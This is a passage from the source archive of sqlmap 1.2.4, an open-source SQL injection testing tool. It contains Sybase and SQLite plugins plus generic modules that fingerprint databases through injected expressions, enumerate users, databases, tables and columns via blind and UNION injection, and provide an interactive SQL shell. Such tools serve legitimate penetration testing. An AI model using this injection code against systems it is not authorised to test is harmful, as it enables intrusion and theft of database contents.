GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Backend.setVersion('2') ['2'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT 'abcdefgh' FROM foobar" >>> Backend.setVersion('3') ['3'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT CAST(X'6162636465666768' AS TEXT) FROM foobar" """ def escaper(value): # Reference: http://stackoverflow.com/questions/3444335/how-do-i-quote-a-utf-8-string-literal-in-sqlite3 return "CAST(X'%s' AS TEXT)" % binascii.hexlify(value.encode(UNICODE_ENCODING) if isinstance(value, unicode) else value) retVal = expression if isDBMSVersionAtLeast('3'): retVal = Syntax._escape(expression, quote, escaper) return retVal ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sqlite/takeover.py��������������������������������������������������������0000664�0000000�0000000�00000002012�13260122637�0021111�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sybase/�������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016711�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sybase/__init__.py��������������������������������������������������������0000664�0000000�0000000�00000002013�13260122637�0021016�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import SYBASE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.sybase.enumeration import Enumeration from plugins.dbms.sybase.filesystem import Filesystem from plugins.dbms.sybase.fingerprint import Fingerprint from plugins.dbms.sybase.syntax import Syntax from plugins.dbms.sybase.takeover import Takeover from plugins.generic.misc import Miscellaneous class SybaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Sybase methods """ def __init__(self): self.excludeDbsList = SYBASE_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.SYBASE] = Syntax.escape ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sybase/connector.py�������������������������������������������������������0000664�0000000�0000000�00000004644�13260122637�0021265�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import _mssql import pymssql except: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pymssql.sourceforge.net/ User guide: http://pymssql.sourceforge.net/examples_pymssql.php API: http://pymssql.sourceforge.net/ref_pymssql.php Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except (pymssql.Error, _mssql.MssqlDatabaseException), msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except (pymssql.Error, _mssql.MssqlDatabaseException), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) except pymssql.InternalError, msg: raise SqlmapConnectionException(msg) return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass return retVal ��������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sybase/enumeration.py�����������������������������������������������������0000664�0000000�0000000�00000026204�13260122637�0021615�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import filterPairValues from lib.core.common import isTechniqueAvailable from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.dicts import SYBASE_TYPES from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[DBMS.SYBASE].users randStr = randomStr() query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True,) for blind in blinds: retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) if retVal: kb.data.cachedUsers = retVal[0].values()[0] break return kb.data.cachedUsers def getPrivileges(self, *args): warnMsg = "on Sybase it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" logger.warn(warnMsg) users = [] areAdmins = set() if conf.user: users = [conf.user] elif not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers for user in users: user = unArrayizeValue(user) if user is None: continue isDba = self.isDba(user) if isDba is True: areAdmins.add(user) kb.data.cachedUsersPrivileges[user] = None return (kb.data.cachedUsersPrivileges, areAdmins) def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[DBMS.SYBASE].dbs randStr = randomStr() query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for blind in blinds: retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) if retVal: kb.data.cachedDbs = retVal[0].values()[0] break if kb.data.cachedDbs: kb.data.cachedDbs.sort() return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(',') else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = filter(None, dbs) infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) logger.info(infoMsg) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] rootQuery = queries[DBMS.SYBASE].tables for db in dbs: for blind in blinds: randStr = randomStr() query = rootQuery.inband.query % db retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) if retVal: for table in retVal[0].values()[0]: if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) break for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(',') else: colList = [] if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[DBMS.SYBASE].columns if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for blind in blinds: randStr = randomStr() query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind) if retVal: table = {} columns = {} for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])): columns[name] = SYBASE_TYPES.get(int(type_) if isinstance(type_, basestring) and type_.isdigit() else type_, type_) table[safeSQLIdentificatorNaming(tbl)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table break return kb.data.cachedColumns def searchDb(self): warnMsg = "on Sybase searching of databases is not implemented" logger.warn(warnMsg) return [] def searchTable(self): warnMsg = "on Sybase searching of tables is not implemented" logger.warn(warnMsg) return [] def searchColumn(self): warnMsg = "on Sybase searching of columns is not implemented" logger.warn(warnMsg) return [] def search(self): warnMsg = "on Sybase search option is not available" logger.warn(warnMsg) def getHostname(self): warnMsg = "on Sybase it is not possible to enumerate the hostname" logger.warn(warnMsg) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sybase/filesystem.py������������������������������������������������������0000664�0000000�0000000�00000001322�13260122637�0021445�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on Sybase it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on Sybase it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sybase/fingerprint.py�����������������������������������������������������0000664�0000000�0000000�00000006427�13260122637�0021623�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import SYBASE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.SYBASE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.SYBASE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(SYBASE_ALIASES): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)")) if result and result.isdigit(): Backend.setVersion(str(result)) else: for version in xrange(12, 16): result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sybase/syntax.py����������������������������������������������������������0000664�0000000�0000000�00000001370�13260122637�0020612�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar' """ def escaper(value): return "+".join("%s(%d)" % ("CHAR" if ord(value[i]) < 256 else "TO_UNICHAR", ord(value[i])) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sybase/takeover.py��������������������������������������������������������0000664�0000000�0000000�00000002012�13260122637�0021076�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on Sybase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Sybase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Sybase it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Sybase it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/�����������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016112�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/__init__.py������������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0020217�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/connector.py�����������������������������������������������������������0000664�0000000�0000000�00000004520�13260122637�0020457�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUndefinedMethod class Connector: """ This class defines generic dbms protocol functionalities for plugins. """ def __init__(self): self.connector = None self.cursor = None def initConnection(self): self.user = conf.dbmsUser or "" self.password = conf.dbmsPass or "" self.hostname = conf.hostname self.port = conf.port self.db = conf.dbmsDb def printConnected(self): infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) infoMsg += ":%d established" % self.port logger.info(infoMsg) def closed(self): infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) infoMsg += ":%d closed" % self.port logger.info(infoMsg) self.connector = None self.cursor = None def initCursor(self): self.cursor = self.connector.cursor() def close(self): try: if self.cursor: self.cursor.close() if self.connector: self.connector.close() except Exception, msg: logger.debug(msg) finally: self.closed() def checkFileDb(self): if not os.path.exists(self.db): errMsg = "the provided database file '%s' does not exist" % self.db raise SqlmapFilePathException(errMsg) def connect(self): errMsg = "'connect' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def fetchall(self): errMsg = "'fetchall' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def execute(self, query): errMsg = "'execute' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def select(self, query): errMsg = "'select' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/custom.py��������������������������������������������������������������0000664�0000000�0000000�00000010430�13260122637�0017774�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re import sys from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet from lib.core.common import getUnicode from lib.core.common import isStackingAvailable from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapNoneDataException from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.shell import autoCompletion from lib.request import inject class Custom: """ This class defines custom enumeration functionalities for plugins. """ def __init__(self): pass def sqlQuery(self, query): output = None sqlType = None query = query.rstrip(';') try: for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement): sqlType = sqlTitle break if not any(_ in query.upper() for _ in ("OPENROWSET", "INTO")) and (not sqlType or "SELECT" in sqlType): infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) logger.info(infoMsg) output = inject.getValue(query, fromUser=True) return output elif not isStackingAvailable() and not conf.direct: warnMsg = "execution of non-query SQL statements is only " warnMsg += "available when stacked queries are supported" logger.warn(warnMsg) return None else: if sqlType: debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) else: debugMsg = "executing unknown SQL type query: '%s'" % query logger.debug(debugMsg) inject.goStacked(query) debugMsg = "done" logger.debug(debugMsg) output = NULL except SqlmapNoneDataException, ex: logger.warn(ex) return output def sqlShell(self): infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms() infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) autoCompletion(AUTOCOMPLETE_TYPE.SQL) while True: query = None try: query = raw_input("sql-shell> ") query = getUnicode(query, encoding=sys.stdin.encoding) except KeyboardInterrupt: print errMsg = "user aborted" logger.error(errMsg) except EOFError: print errMsg = "exit" logger.error(errMsg) break if not query: continue if query.lower() in ("x", "q", "exit", "quit"): break output = self.sqlQuery(query) if output and output != "Quit": conf.dumper.query(query, output) elif not output: pass elif output != "Quit": dataToStdout("No output\n") def sqlFile(self): infoMsg = "executing SQL statements from given file(s)" logger.info(infoMsg) for filename in re.split(PARAMETER_SPLITTING_REGEX, conf.sqlFile): filename = filename.strip() if not filename: continue snippet = getSQLSnippet(Backend.getDbms(), filename) if snippet and all(query.strip().upper().startswith("SELECT") for query in filter(None, snippet.split(';' if ';' in snippet else '\n'))): for query in filter(None, snippet.split(';' if ';' in snippet else '\n')): query = query.strip() if query: conf.dumper.query(query, self.sqlQuery(query)) else: conf.dumper.query(snippet, self.sqlQuery(snippet)) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/databases.py�����������������������������������������������������������0000664�0000000�0000000�00000122776�13260122637�0020432�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import filterPairValues from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parseSqliteTableSchema from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.dicts import FIREBIRD_TYPES from lib.core.dicts import INFORMIX_TYPES from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.request import inject from lib.techniques.union.use import unionUse from lib.utils.brute import columnExists from lib.utils.brute import tableExists class Databases: """ This class defines databases' enumeration functionalities for plugins. """ def __init__(self): kb.data.currentDb = "" kb.data.cachedDbs = [] kb.data.cachedTables = {} kb.data.cachedColumns = {} kb.data.cachedCounts = {} kb.data.dumpedTable = {} def getCurrentDb(self): infoMsg = "fetching current database" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_db.query if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) return kb.data.currentDb def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = None if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warn(warnMsg) infoMsg = "fetching database (schema) names" else: infoMsg = "fetching database names" if infoMsg: logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedDbs = arrayizeValue(values) if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of databases" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % 